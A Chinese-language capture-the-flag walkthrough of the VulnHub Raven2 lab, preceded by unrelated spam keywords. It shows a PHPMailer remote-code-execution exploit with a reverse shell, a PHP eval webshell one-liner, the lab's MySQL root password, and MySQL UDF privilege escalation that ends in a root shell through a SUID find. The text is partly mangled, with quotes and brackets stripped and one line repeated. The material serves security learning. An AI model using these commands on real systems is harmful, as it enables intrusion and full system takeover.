建设银行嘉兴分行官方网站,支持wordpress的主机,中国食品网,app永久免费下载安装什么是UDF#xff1a;
UDF(Userfined function)用户自定义函数#xff0c;是MySQL的一个扩展接口#xff0c;用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能#xff0c;其添加的新函数都可以在 SQL 语句中调用。
提权条件#xff1a;
知道MySQL用户名和密码…什么是UDF
UDF(Userfined function)用户自定义函数是MySQL的一个扩展接口用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能其添加的新函数都可以在 SQL 语句中调用。
提权条件
知道MySQL用户名和密码可以登录MySQL有写入文件权限即 secure_file_priv 的值为空
注意使用 UDF 提权是在获取到 webshell 的前提下获取到的用户只是网络服务权限 www 或其他普通用户我们可以利用 mysql 的 UDF 提权获取到管理员权限。
如何使用UDF提权 MySQL版本 5.1版本udf.dlludf.so文件必须放置于MySQL安装目录下的 lib\plugin 文件夹下 MySQL版本 5.1版本udf.dll 文件放置于 c:\windows 或者 c:\system32
如果目录不存在则利用 NTFS 数据流创建文件目录
udf提权可以用于 windows 系统udf.dll也可以用于linux平台udf.so。但 udf 提权基本上用于 windows 系统linux系统中 mysql版本 5.1 udf.so 该放哪里网上查找也没有得到结果。
靶场复现
通过 vulnhub 下载靶场镜像
靶机地址https://download.vulnhub.com/raven/Raven2.ova
攻击机kali192.168.111.129靶机Raven2192.168.111.132
信息收集
nmap扫描端口开放情况 nmap 192.168.111.132 -sV -p- -Pn发现开放了228011158686端口操作系统为Linux。
访问80端口 dirsearch 扫描一下目录 发现靶机是 wordpress 可以用wpscan扫描有没有wordpress漏洞。
此外还发现另外一个目录/vendor目录访问目录发现存在信息泄露 通过 README.md 文件得知为 phpmailer百度 phpmailer 知道是一个php发送邮件的程序且版本小于 5.2.18 存在漏洞远程命令执行漏洞查看当前 version 版本为 5.2.16
phpmailer漏洞利用
使用 python 脚本复制脚本到桌面将 target 改为目标IP后面拼接 contact.php该文件应该是PHPMailer服务接口backdoor 为生成的后门文件payload 改为 kali 的 ip 和监听的端口email那把路径改为目标的网站根目录可以在 /vendor/PATH 中找到。 修改完成后执行。 python 40974.py 先开启 nc 监听接收shell然后浏览器访问生成的后门文件终端回显getshell成功。这里后门文件名应该有限制默认生成不了改为1.php后成功了 执行 whoami 发现为 www-date 权限
使用 python 执行交互式 shell
python -c import pty;pty.spawn(/bin/bash)也可以写一句话用菜刀蚁剑连接方便操作
echo ?php eval($_POST[s]);? 2.php进入wordpress目录内查看wp的配置文件wp-config.php发现数据库用户名与密码。 账号 root密码 Rv3nSecurity
使用得到的用户名密码登录mysql
mysql -uroot -pRv3nSecurity在user表中发现了其他用户名与密码但是加密的密码没有破解出来。所以换个思路尝试下UDF提权。
MySQL-UDF提权利用
首先查找漏洞并下载漏洞利用脚本1518.c
searchsploit udfsearchsploit udf -m 1518.c下载 udf 提权脚本在 kali 使用 gcc 编译成 Linux 所需 udf 提权的so文件。
gcc -g -c 1518.cgcc -g -shared -o 1518.so 1518.o将编译后的1518.so上传到靶机 /tmp 目录内。
python3 -m http.server 8888 wget 192.168.111.129:8888/1518.so登录 mysql 切换数据库 wordpress 并创建新表 foo。
create table foo(line blob); #创建数据表insert into foo values(load_file(/tmp/1518.so)); #读取 1518.so 并将其保存在表foo中select * from foo into dumpfile /usr/lib/mysql/plugin/1518.so;
#查询刚才添加的数据保存到/usr/lib/mysql/plugin/1518.so文件mysql存放自定义函数的地方create function do_system returns integer soname 1518.so;
#加载 1518.so 函数文件用来创建自定义函数类型是integersoname 别名 select * from mysql.func; #查询函数是否创建成功select do_system(chmod us /usr/bin/find); #调用自定义函数do_system赋予find命令suid权限。select do_system(chmod us /usr/bin/find); #调用自定义函数do_system赋予find命令suid权限。准备工作完成后退出数据库使用find命令进行提权。
mysql quit
find / -exec /bin/sh \;
#find /从根目录开始查找。
#-exec表示对找到的每个文件执行后面的命令。
#/bin/sh这是要执行的命令即启动一个新的 shell 实例。
#\;表示 -exec 命令的结束。根据结果可以看到提权成功